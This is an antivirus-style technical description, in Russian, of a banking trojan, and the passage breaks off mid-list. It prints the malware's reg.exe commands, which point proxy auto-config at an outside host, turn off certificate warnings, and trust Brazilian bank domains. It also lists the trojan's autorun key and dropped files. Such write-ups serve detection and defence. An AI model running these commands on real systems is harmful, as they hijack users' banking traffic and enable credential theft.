Trojan.DownLoader11.7267

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run] 'Java Quick Starter' = '%TEMP%\jusched.exe'

Вредоносные функции:

Создает и запускает на исполнение:

'%TEMP%\jusched.exe'

Запускает на исполнение:

'<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t REG_DWORD /d 00000000 /f
'<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t REG_DWORD /d 00000000 /f
'<SYSTEM32>\reg.exe' add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
'<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
'<SYSTEM32>\reg.exe' add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
'<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t REG_DWORD /d 00000000 /f
'<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t REG_DWORD /d 00000000 /f
'<SYSTEM32>\reg.exe' add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnonBadCertRecving" /t REG_DWORD /d "0x00000000" /f
'<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t REG_DWORD /d 00000001 /f
'<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "http://11#.#11.111.1/bootsts.txt" /f
'<SYSTEM32>\reg.exe' add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.bancoreal" /v "http" /t REG_DWORD /d "0x00000002" /f
'<SYSTEM32>\reg.exe' add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.bancodobrasil" /v "http" /t REG_DWORD /d "0x00000002" /f
'<SYSTEM32>\reg.exe' add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.certisign" /v "http" /t REG_DWORD /d "0x00000002" /f
'<SYSTEM32>\find.exe' /i"java.policy"
'<SYSTEM32>\reg.exe' add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.real" /v "http" /t REG_DWORD /d "0x00000002" /f
'<SYSTEM32>\reg.exe' add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.santanderbanespa" /v "http" /t REG_DWORD /d "0x00000002" /f
'<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
'<SYSTEM32>\reg.exe' add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\gov.br\*.infoseg" /v "http" /t REG_DWORD /d "0x00000002" /f
'<SYSTEM32>\reg.exe' add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.bb" /v "http" /t REG_DWORD /d "0x00000002" /f
'<SYSTEM32>\reg.exe' add "HKU\S-1-5-21-2052111302-484763869-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\com.br\*.santander" /v "http" /t REG_DWORD /d "0x00000002" /f
'<SYSTEM32>\ping.exe' -n 1 -l 1 oi.buscaimplacavel.com
'<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run" /v "Java Quick Starter" /t REG_SZ /d "%TEMP%\jusched.exe" /f
'<SYSTEM32>\find.exe' /i"TTL"
'<SYSTEM32>\attrib.exe' -r -a -s -h "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\prefs.js"
'<SYSTEM32>\find.exe' /i"prefs.js"
'<SYSTEM32>\find.exe' /i "5.1.2"
'<SYSTEM32>\cmd.exe' /c ""%APPDATA%\mine9.bat" > NUL"
'<SYSTEM32>\find.exe' /i "6.0.6"
'<SYSTEM32>\find.exe' /i "5.00.2"
'<SYSTEM32>\find.exe' /i "6.1.7600"
'<SYSTEM32>\find.exe' /i"GroupMembership"
'<SYSTEM32>\reg.exe' export "HKLM\Software\Microsoft\Windows\CurrentVersion\Group Policy" \JET2507F.tmp
'<SYSTEM32>\find.exe' /i"S-1-5-21"
'<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t REG_DWORD /d 00000001 /f
'<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "http://11#.#11.111.1/bootsts.txt" /f
'<SYSTEM32>\attrib.exe' -r -a -s -h "%PROGRAM_FILES%\FireFox\defaults\pref\channel-prefs.js"
'<SYSTEM32>\attrib.exe' -r -a -s -h "%PROGRAM_FILES%\FireFox\greprefs.js"
'<SYSTEM32>\attrib.exe' -r -a -s -h "%PROGRAM_FILES%\FireFox\defaults\profile\prefs.js"
'<SYSTEM32>\attrib.exe' <Служебный элемент>
'<SYSTEM32>\attrib.exe' -r -a -s -h "%PROGRAM_FILES%\FireFox\modules\services-sync\engines\prefs.js"

Изменяет следующие настройки браузера Windows Internet Explorer:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings] 'WarnonBadCertRecving' = '00000000'

Изменения в файловой системе:

Создает следующие файлы:

%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\access[1].php
C:\JET2507F.tmps
C:\JET2507F.tmp
%TEMP%\jusched.exe
%APPDATA%\mine9.bat

Удаляет следующие файлы: